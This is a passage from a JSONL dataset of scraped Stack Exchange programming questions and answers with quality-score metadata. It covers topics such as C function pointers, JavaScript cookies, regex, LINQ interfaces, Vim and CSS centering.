limited by your processor architecture.\nCommitted Memory\n–  When an application touches a virtual memory page (reads/write/programmatically commits) the page becomes a committed page.  It is now backed by a physical memory page.  This will usually be a physical RAM page, but could eventually be a page in the page file on the hard disk, or it could be a page in a memory mapped file on the hard disk.  The memory manager handles the translations from the virtual memory page to the physical page.   A virtual page could be in located in physical RAM, while the page next to it could be on the hard drive in the page file.\nBUT: PF (Page File) Usage - This is the total number of committed pages on the system.  It does not tell you how many are actually written to the page file.  It only tells you how much of the page file would be used if all committed pages had to be written out to the page file at the same time.\nHence B > A...\nIf we agree that B represents \"mem usage\" or also PF usage, the problem comes from the fact it actually represents\npotential\npage usages\n: in Xp, this potential file space can be used as a place to assign those virtual memory pages that programs have asked for, but never brought into use...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.204440"}
{"id": "hf_93aabe24c61c", "question": "<p>I've got the following url route and i'm wanting to make sure that a segment of the route will only accept numbers. as such, i can provide some regex which checks the word.</p>\n\n<p>/page/{currentPage}</p>\n\n<p>so.. can someone give me a regex which matches when the word is a number (any int) greater than 0 (ie. 1 &lt;-> int.max).</p>\n", "question_body": "", "answer": "If you want it greater than 0, use this regex:\n```\n```\n/([1-9][0-9]*)/\n```\n```\nThis'll work as long as the number doesn't have leading zeros (like '03').\nHowever, I recommend just using a simple\n```\n[0-9]+\n```\nregex, and validating the number in your actual site code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.275357"}
{"id": "hf_c4c6bf1e2754", "question": "<p>I am well aware that the Rest based approach is targeting HTTP.  I would love to use the REST APIs and other goodness between processes on the same computer.  Since ADO.NET data services is built on top of WCF it would seem reasonable to assume that the transport in configurable to work with any of the WCF supported transports.  Anyone know if there is a way to configure it to send traffic via namedpipes?</p>\n", "question_body": "", "answer": "In .NET 3.5 there is built-in named pipe binding for WCF. See the\nMSDN\nfor details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.312428"}
{"id": "hf_1b52f62e56e6", "question": "<p>How can I delete the session information from my browser by using javascript?  Is it possible to do?</p>\n", "question_body": "", "answer": "Session information is usually stored on the server. An HTTP request to a page that destroys the session would normally do the trick (using AJAX if you wish).\nFor cookies you can set the cookie expiry date to the current date, this will expire the cookie and remove it.\n```\n```\nvar d = new Date();\ndocument.cookie = \"cookiename=1;expires=\" + d.toGMTString() + \";\" + \";\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.351180"}
{"id": "hf_b619573dfff0", "question": "<p>I need to get all the <em>cookies</em> stored in my browser using JavaScript. How can it be done? </p>\n", "question_body": "", "answer": "To retrieve all cookies for the current document open in the browser, you again use the\n```\ndocument.cookie\n```\nproperty.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.388099"}
{"id": "hf_948da89032b3", "question": "<p>Has anyone ever seen the storage class <code>auto</code> explicitly used in C/C++? If so, in what situation?</p>\n", "question_body": "", "answer": "auto is never useful in current C/C++ because all variables are implicitly auto. It is useful in C++0x, where it can replace the type declaration entirely - if you have a variable with an initial assignment, 'auto' will just make it the type of that assignment value, as in the comments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.411318"}
{"id": "hf_921e4e191268", "question": "<p>We had a performance issue with DataGridViews where the redraw was horridly slow and found the solution <a href=\"https://stackoverflow.com/questions/118528/horrible-redraw-performance-of-the-datagridview-on-one-of-my-two-screens\">Here</a> to create a derived type and enable double buffering on the control.\n(Derived type is necessary since the DoubleBuffered property is protected)</p>\n\n<p>It doesn't seem like there's any drawback to having the DoubleBuffered property set to true.</p>\n", "question_body": "", "answer": "Double buffering by definition uses two buffers and twice the memory for rendering the view of the control into. So, there is some drawback there, however, with the amount of memory you get in a PC now, not many people probably would notice the sacrifice.\nNo idea why its protected. Maybe the function wasn't available in an early version of the control, and when it was introduced the designers didn't want to change the public interface of the control. Or perhaps they considered it to be an advanced feature and wanted to limit the number of methods someone new to the control would have to grok to be able to make it do something useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.468355"}
{"id": "hf_21a1035869f0", "question": "<p>I am hacking up a tagging application for emacs.  I have got a tag cloud/weighted list successfully displaying on a buffer, but i am running into a snag.  I need to be able to properly word-wrap the buffer, but I haven't a clue where to start.</p>\n\n<p>The font I am using is a variable width font.  On top of that, each tag is going to be in a different size, depending on how many times it shows up on the buffer.  Finally, the window that displays the tagcloud could be in a window that is 200 pixels wide, or the full screen width.</p>\n\n<p>I really have no idea where to start.  I tried longlines mode on the tagcloud buffer, but that didn't work.</p>\n\n<p>Source code is at: <a href=\"http://emacswiki.org/cgi-bin/emacs/free-tagging.el\" rel=\"nofollow noreferrer\">http://emacswiki.org/cgi-bin/emacs/free-tagging.el</a></p>\n", "question_body": "", "answer": "You probably want to track\n```\nposn-at-point\n```\nand\n```\nposn-at-x-y\n```\nas you put the tags in the buffer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.489710"}
{"id": "hf_04d66f890ae2", "question": "<p>What's the difference between the list methods <code>append()</code> and <code>extend()</code>?</p>\n", "question_body": "", "answer": "```\nappend\n```\nappends a single element.\n```\nextend\n```\nappends a list of elements.\nNote that if you pass a list to append, it still adds one element:\n```\n```\n>>> a = [1, 2, 3]\n>>> a.append([4, 5, 6])\n>>> a\n[1, 2, 3, [4, 5, 6]]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.512454"}
{"id": "hf_58eff89c62a5", "question": "<p>I have made a bunch of changes to a number of files in a project. Every commit (usually at the file level) was accompanied by a comment of what was changed. </p>\n\n<p>Is there a way to get a list from CVS of these comments on changes since the last tagged version?</p>\n\n<p>Bonus if I can do this via the eclipse CVS plugin.</p>\n\n<p><strong>UPDATE</strong>: I'd love to accept an answer here, but unfortunately none of the answers are what I am looking for. Frankly I don' think it is actually possible, which is a pity really as this could be a great way to create a change list between versions (Assuming all commits are made at a sensible granularity and contain meaningful comments).</p>\n", "question_body": "", "answer": "The options for the cvs log command are available\nhere\n. Specifically, to get all the commits since a specific tag (lets call it VERSION_1_0)\n```\n```\ncvs log -rVERSION_1_0:\n```\n```\nIf your goal is to have a command that works without having to know the name of the last tag I believe you will need to write a script that grabs the log for the current branch, parses through to find the tag, then issues the log command against that tag, but I migrated everything off of CVS quite a while ago, so my memory might be a bit rusty.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.545027"}
{"id": "hf_526ada932a76", "question": "<p>How should I use array of function pointers in C?</p>\n\n<p>How can I initialize them?</p>\n", "question_body": "", "answer": "You have a good example\nhere (Array of Function pointers)\n, with the\nsyntax detailed\n.\n```\n```\nint sum(int a, int b);\nint subtract(int a, int b);\nint mul(int a, int b);\nint div(int a, int b);\n\nint (*p[4]) (int x, int y);\n\nint main(void)\n{\n  int result;\n  int i, j, op;\n\n  p[0] = sum; /* address of sum() */\n  p[1] = subtract; /* address of subtract() */\n  p[2] = mul; /* address of mul() */\n  p[3] = div; /* address of div() */\n[...]\n```\n```\nTo call one of those function pointers:\n```\n```\nresult = (*p[op]) (i, j); // op being the index of one of the four functions\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.569060"}
{"id": "hf_b6653c6e171d", "question": "<p>How can I add line numbers to a range of lines in a file opened in Vim? Not as in <code>:set nu</code>—this just <em>displays</em> line numbers—but actually have them be prepended to each line in the file?</p>\n", "question_body": "", "answer": "```\ncat -n\n```\nadds line numbers to its input. You can pipe the current file to\n```\ncat -n\n```\nand replace the current buffer with what it prints to stdout. Fortunately this convoluted solution is less than 10 characters in vim:\n```\n```\n:%!cat -n\n```\n```\nOr, if you want just a subselection, visually select the area, and type this:\n```\n```\n:!cat -n\n```\n```\nThat will automatically put the visual selection markers in, and will look like this after you've typed it:\n```\n```\n:'<,'>!cat -n\n```\n```\nIn order to erase the line numbers, I recommend using\n```\ncontrol-v\n```\n, which will allow you to visually select a rectangle, you can then delete that rectangle with\n```\nx\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.593109"}
{"id": "hf_9f638ea558db", "question": "<p>I have seen many programs consisting of structures like the one below</p>\n\n<pre><code>typedef struct \n{\n    int i;\n    char k;\n} elem;\n\nelem user;\n</code></pre>\n\n<p>Why is it needed so often? Any specific reason or applicable area?</p>\n", "question_body": "", "answer": "Using a\n```\ntypedef\n```\navoids having to write\n```\nstruct\n```\nevery time you declare a variable of that type:\n```\n```\nstruct elem\n{\n int i;\n char k;\n};\nelem user; // compile error!\nstruct elem user; // this is correct\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.617612"}
{"id": "hf_164d89fc1d64", "question": "<p>What is the purpose of the <code>strdup()</code> function in C?</p>\n", "question_body": "", "answer": "From\nstrdup man\n:\nThe\n```\nstrdup()\n```\nfunction shall return a pointer to a new string, which is a duplicate of the string pointed to by\n```\ns1\n```\n. The returned pointer can be passed to\n```\nfree()\n```\n. A null pointer is returned if the new string cannot be created.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.641325"}
{"id": "hf_dd75153f0f25", "question": "<p>What is the difference between <code>IQueryable&lt;T&gt;</code> and <code>IEnumerable&lt;T&gt;</code>?</p>\n\n<hr>\n\n<p>See also <a href=\"https://stackoverflow.com/questions/2433306/whats-the-difference-between-iqueryable-and-ienumerable?rq=1\">What's the difference between IQueryable and IEnumerable</a> that overlaps with this question.</p>\n", "question_body": "", "answer": "The primary difference is that the LINQ operators for\n```\nIQueryable<T>\n```\ntake\n```\nExpression\n```\nobjects instead of delegates, meaning the custom query logic it receives, e.g., a predicate or value selector, is in the form of an expression tree instead of a delegate to a method.\n```\nIEnumerable<T>\n```\nis great for working with sequences that are iterated in-memory, but\n```\nIQueryable<T>\n```\nallows for out-of memory things like a remote data source, such as a database or web service.\nQuery execution:\nWhere the execution of a query is going to be performed\n\"in process\"\n, typically all that's required is the code (as code) to execute each part of the query.\nWhere the execution will be performed\nout-of-process\n, the logic of the query has to be represented in data such that the LINQ provider can convert it into the appropriate form for the out-of-memory execution - whether that's an LDAP query, SQL or whatever.\nMore in:\nLINQ :\n```\nIEnumerable<T>\n```\nand\n```\nIQueryable<T>\n```\nC# 3.0 and LINQ\n.\n\"\nReturning\n```\nIEnumerable<T>\n```\nvs\n```\nIQueryable<T>\n```\n\"\nReactive Programming for .NET and C# Developers - An Introduction To\n```\nIEnumerable\n```\n,\n```\nIQueryable\n```\n,\n```\nIObservable\n```\n, and\n```\nIQbservable\n```\n2008: \"\nTHE MOST FUNNY INTERFACE OF THE YEAR …\n```\nIQUERYABLE<T>\n```\n\" from\nBart De Smet\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.665480"}
{"id": "hf_7e319e69762b", "question": "<p>What is the most accurate way of timing a thread or a line of code in C# assuming the application is multithreaded?</p>\n\n<p>Kind regards,</p>\n", "question_body": "", "answer": "What exactly do you mean by \"timing a thread\"?\nTo just time (in wall time) how long something takes, use System.Diagnostics.Stopwatch. I don't believe there's anything to measure the processor time taken by a particular thread.  Of course, profilers will help you a lot, but they also affect the timing of the program they're examining, which makes things trickier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.690741"}
{"id": "hf_a08d686f647d", "question": "<p>I have the need to display a nested set structure in HTML. I am doing it with the following partial:</p>\n\n<pre><code>&lt;ul&lt;%= ' id=\"tree\"' if depth == 0 %&gt;&gt;\n&lt;% items.each do |item| %&gt;\n  &lt;li id=\"node_&lt;%= item.id %&gt;\"&gt;&lt;a&gt;&lt;%= item.name %&gt;&lt;/a&gt;\n  &lt;% if item.has_children? %&gt;\n    &lt;%= render :partial =&gt; 'tree_level', :locals =&gt; {:items =&gt; item.children, :depth =&gt; depth + 1} %&gt;\n  &lt;% end %&gt;\n  &lt;/li&gt;\n&lt;% end %&gt;   \n&lt;/ul&gt;\n</code></pre>\n\n<p>Is this the best place to have the code? I \"feel\" like there should be a <code>to_html</code> method on the object which dumps the entire tree structure for me, though this works.</p>\n", "question_body": "", "answer": "I am not sure whether it is best practice but I used similar code for rendering project tree.\nFaster alternative is to create helper method doing the same job (recursively traversing tree and adding partial strings into result string). It is a little bit PHP style :( but for such a small amount of HTML is it OK, I guess :)\nHelper looks like:\n```\n```\ndef render_node(node)\n  res = \"<ul>\"\n  ...\n  node.items.each {|n| res << render_node(n)}\n  ...\n  res << \"</ul>\"\n  res\nend\n```\n```\nThen it is used like this:\n```\n```\n<%=render_node ProjectTree.new%>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.714339"}
{"id": "hf_710a8117603c", "question": "<p>Does anyone know of a simple method for solving this?</p>\n\n<p>I have a table which consists of start times for events and the associated durations. I need to be able to split the event durations into thirty minute intervals. So for example if an event starts at 10:45:00 and the duration is 00:17:00 then the returned set should allocate 15 minutes to the 10:30:00 interval and 00:02:00 minutes to the 11:00:00 interval.</p>\n\n<p>I'm sure I can figure out a clumsy approach but would like something a little simpler. This must come up quite often I'd imagine but Google is being unhelpful today.</p>\n\n<p>Thanks,</p>\n\n<p>Steve</p>\n", "question_body": "", "answer": "You could create a lookup table with just the times (over 24 hours), and join to that table. You would need to rebase the date to that used in the lookup. Then perform a datediff on the upper and lower intervals to work out their durations. Each middle interval would be 30 minutes.\n```\n```\ncreate table #interval_lookup (\n  from_date datetime,\n  to_date datetime\n)\n\ndeclare @time datetime\nset @time = '00:00:00'\n\nwhile @time < '2 Jan 1900'\n  begin\n    insert into #interval_lookup values (@time, dateadd(minute, 30, @time))\n    set @time = dateadd(minute, 30, @time)\n  end\n\ndeclare @search_from datetime\ndeclare @search_to datetime\n\nset @search_from = '10:45:00'\nset @search_to = dateadd(minute, 17, @search_from) \n\nselect\n  from_date as interval,\n  case\n    when from_date <= @search_from and \n         @search_from < to_date and \n         from_date <= @search_to and \n         @search_to < to_date \n         then datediff(minute, @search_from, @search_to)\n    when from_date <= @search_from and \n         @search_from < to_date \n         then datediff(minute, @search_from, to_date)\n    when from_date <= @search_to and \n         @search_to < to_date then \n         datediff(minute, from_date, @search_to)\n    else 30\n  end as duration\nfrom\n  #interval_lookup\nwhere\n  to_date > @search_from\n  and from_date <= @search_to\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.743423"}
{"id": "hf_a4a7458fb366", "question": "<p>Is it possible to have something like a <code>JTextArea</code> which will color some keywords based on some mappings I have ?</p>\n", "question_body": "", "answer": "I am not sure, because I believe\n```\nJTextArea\n```\nonly directly supports a single font in a single color.\nAccording to\n```\nSyntaxHighlighter\n```\nclass\narticle,\n```\nJTextPane\n```\nis the way to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.806264"}
{"id": "hf_0bd0753c226b", "question": "<p>I have my sources split up in several directories, so for each directory I get back a DLL. Is it possible to create a DLL from several other DLL's ?</p>\n\n<p><strong>EDIT:</strong> I'm using C++ with Windows CE Platform Builder 6.0 ( it's not managed )</p>\n", "question_body": "", "answer": "Use\nILMerge\nHere\nyou can download this.\nHere\nis Sample for implementation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.824974"}
{"id": "hf_45e864043ace", "question": "<pre><code>div#thing {\n  position: absolute;\n  top: 0px;\n  z-index: 2;\n  margin: 0 auto;\n}\n\n&lt;div id=\"thing\"&gt;\n   &lt;p&gt;text text text with no fixed size, variable font&lt;/p&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>The div is at the top, but I can't center it with <code>&lt;center&gt;</code> or <code>margin: 0 auto</code>;</p>\n", "question_body": "", "answer": "Your problem may be solved if you give your\n```\ndiv\n```\na fixed width, as follows:\n```\n```\ndiv#thing {\n    position: absolute;\n    top: 0px;\n    z-index: 2;\n    width:400px;\n    margin-left:-200px;\n    left:50%;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.856347"}
{"id": "hf_209f31436de4", "question": "<p>As it seems there is no scripting language for Windows mobile devices that gives access to phone (sms, mms, make a call, take photo). I wonder how complex it would be to make a Python library that would enable that (write something in C, compile, and import in PythonCE).</p>\n\n<p>Question: Where shall start to understand how to compile a PythonCE module that will give additional functionality to Python on Windows mobile. Also, what is the required toolkit. Is it at all possible on Mac (Leopard)? </p>\n", "question_body": "", "answer": "As the first step, you should try to create executable programs that invoke the functions you want. For example, to send SMS, it appears you need to call MailSwitchToAccount, passing \"SMS\", and so on - familiarize yourself with the C API on the platform.\nTo create executables, you need Visual Studio, and the Windows Mobile SDK. Those run on Windows. For cross-compilation, there is CeGCC (\nhttp://cegcc.sourceforge.net/docs/using.html\n), but using it probably makes things more complicated than using the Microsoft tools.\nWhen you have executables that perform the functions you desire, creating Python extension modules out of them should be easy. Just follow the extending-and-embedding tutorials.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.877111"}
{"id": "hf_62a162a66889", "question": "<p>There are a couple of questions similar to this on stack overflow but not quite the same.</p>\n\n<p>I want to open, or create, a local group on a win xp computer and add members to it, domain, local and well known accounts.  I also want to check whether a user is already a member so that I don't add the same account twice, and presumably get an exception.</p>\n\n<p>So far I started using the DirectoryEntry object with the <code>WinNT://</code> provider.  This is going ok but I'm stuck on how to get a list of members of a group?</p>\n\n<p>Anyone know how to do this?  Or provide a better solution than using DirectoryEntry?</p>\n", "question_body": "", "answer": "You should be able to find this information inside the\n```\n\"member\"\n```\nattribute\non the\n```\nDirectoryEntry\n```\nthat represents the group.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.961156"}
{"id": "hf_3a50212c3b9c", "question": "<p>Am I allowed to place <code>&lt;noscript&gt;</code> in the <code>&lt;head&gt;</code>?</p>\n", "question_body": "", "answer": "According to the\nXHTML Strict DTD\n, no, you're allowed script, style, meta, link, object, title and base only.  Transitional allows isindex as well, but still not noscript.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.992251"}
{"id": "hf_443c1f34a91d", "question": "<p>Anyone got an idea how to get from an Xserver the list of all open windows?</p>\n", "question_body": "", "answer": "From the CLI you can use\n```\n```\nxwininfo -tree -root\n```\n```\nIf you need to do this within your own code then you need to use the\n```\nXQueryTree\n```\nfunction from the\n```\nXlib\n```\nlibrary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.048751"}
{"id": "hf_5823049627b9", "question": "<p>I have two PHP scripts, both using the same session by calling <code>session_name('MySessID')</code>.</p>\n\n<p>When the first script calls the second script using curl, the second script hangs when <code>session_start()</code> is called.</p>\n\n<p>Why would this happend?</p>\n", "question_body": "", "answer": "I don't totally understand why this happens, but I got it solved.\nThis\nbug\ndescribes the same problem I'm having. I have a scripts posting to another script,\nboth using the same session\n, which apparently stalls PHP.\nSo, before I do the whole curl post script, I call the\n```\nsession_commit\n```\nfunction, so ending the calling scripts session, and enabling the called script to restart the session.\nWhack...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.071131"}
{"id": "hf_de2d05fccccf", "question": "<p>How to send array in Httpservice in Adobe Flex3</p>\n", "question_body": "", "answer": "I am not quite sure what you mean by sending an array to a httpservice. If you mean to send an array to a httpservice with the same field name, you can pass an array as field value.\n```\n```\nvar service:HTTPService = new HTTPService();\nservice.useProxy = true;\nservice.destination = \"myservicet\";\nservice.resultFormat = HTTPService.RESULT_FORMAT_XML;\n\nvar fields:Array = [\"categories\", \"organisation\"];\nvar params:Object = new Object();\nparams.q = \"stackoverflow\";\nparams.rows = 0;\nparams.facet = \"true\";\nparams[\"facet.field\"] = fields;\nservice.send(params);\n```\n```\nThe HTTPService will convert this to the url parameters:\n```\nfacet=true&q=stackoverflow&facet%2Efield=categories&facet%2Efield=organisation&rows=0\n```\nHope this helps!\nAdded for more clarity. When there is only 1 argument in the array, do not pass the fields as an array. For some reason, flex will not send this to the http service", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.094275"}
{"id": "hf_a4462804a250", "question": "<p>This is a simple one. I want to replace a sub-string with another sub-string on client-side using Javascript.</p>\n\n<p>Original string is <code>'original READ ONLY'</code></p>\n\n<p>I want to replace the <code>'READ ONLY'</code> with <code>'READ WRITE'</code></p>\n\n<p>Any quick answer please? Possibly with a javascript code snippet...</p>\n", "question_body": "", "answer": "Good\nsummary\n. It is regexp based, if you use regexp notation you can specify the i and g modifiers (case insensitive (i), which will match regardless to case and global (g), which will replace all occurences), if you use string notation it'll get converted to a regex and you wont' be able to specify any modifier.\n```\n```\n<script type=\"text/javascript\">\n\nvar str1=\"Visit Microsoft!\";\nvar str2 = str1.replace(/microsoft/i, \"W3Schools\"); //Will work, per the i modifier \n\nvar str3 = \"original READ ONLY\";\nvar str4 = str3.replace(\"ONLY\", \"WRITE\"); //Will also work\n\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.145025"}
{"id": "hf_38a2e82845c4", "question": "<p>I am creating a plugin for Eclipse 3.4.  I created a plug-in development project using the application with a view.  Now I am trying to create a <code>TextViewer</code> the documentation says that it is located in <code>org.eclipse.jface.text.TextViewer</code>.  But, this whole package is missing and eclipse cannot locate <code>TextViewer</code> class to import.  I want to know why is this package/class missing?  Also if it is really gone what took <code>TextViewer</code>'s place?</p>\n", "question_body": "", "answer": "in 3.4 i have it inside\neclipse-jee-ganymede-win32\\plugins\\org.eclipse.jface.text_3.4.0.v20080603-2000.jar", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.173191"}
{"id": "hf_ea542cafa396", "question": "<p>Is there a way to \"stream\" a set of results (eg. a DataTable) from a BackgroundWorker to a DataGridView. What I want to do is to query data, and fill the results in a DataGridView <strong>as they come</strong> (like query grid results in SQL Server Management Studio). My first thought was to use a BackgroundWorker (to avoid the UI freeze effect), but there would still be a perceivable \"lag\" as the BackgroundWorker is loading the results.</p>\n\n<p>What would be the best way to go about this?</p>\n", "question_body": "", "answer": "You could:\nBind the DataGridView to an initially empty DataTable.\nThen, in your worker thread, use a thread-safe collection (a synchronized queue for example) and calls to Control.BeginInvoke to pass record info over to the UI thread.\nIn the UI thread, you'd pull items out of the queue and add corresponding rows to the DataTable. Through the magic of data binding, these would be added to the gridview.\nHowever, by employing multithreading you immediately make your program much more likely to be broken! I haven't tried this specific scheme, and don't know if the GridView would be rendered effectively unusable while items are being added to it. I have populated a treeview using multithreading, and it is indeed a cool effect. However, I ended up disabling the functionality, as it introduced bugs due to not being a fully correct implementation dealing with all the possible user interactions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.197542"}
{"id": "hf_22a56777cdaf", "question": "<p>I know we can do like mget *.xml which will download all xml files. But how is it possible that we using mget with certain file name patterns. can we do something like *SS.xml which mean it will download all files ending with SS.xml?</p>\n", "question_body": "", "answer": "Do you mean the\n```\nmget\n```\ncommand within FTP?\nYes, that should be possible, particularly if the remote server is a Unix server where file extensions have no special meaning on the server, they're just another part of the filename.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.224945"}
{"id": "hf_5dc51a797bd9", "question": "<p>We have a file that has a 64 bit integer as a string in it. How do we scanf() or otherwise parse this numeric string into an unsigned 64 bit integer type in C++ ? </p>\n\n<p>We are aware of things like %lld etc., but a lot of ways to do this parse seem to break compiles under different compilers and stdlibs. The code should compile under gcc and the Microsoft C++ compiler (of course full compliance with standards would be a plus)</p>\n", "question_body": "", "answer": "Don't use\n```\nscanf()\n```\n, tokenize your input separately and then use\n```\nstrtoull()\n```\nor similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.249345"}
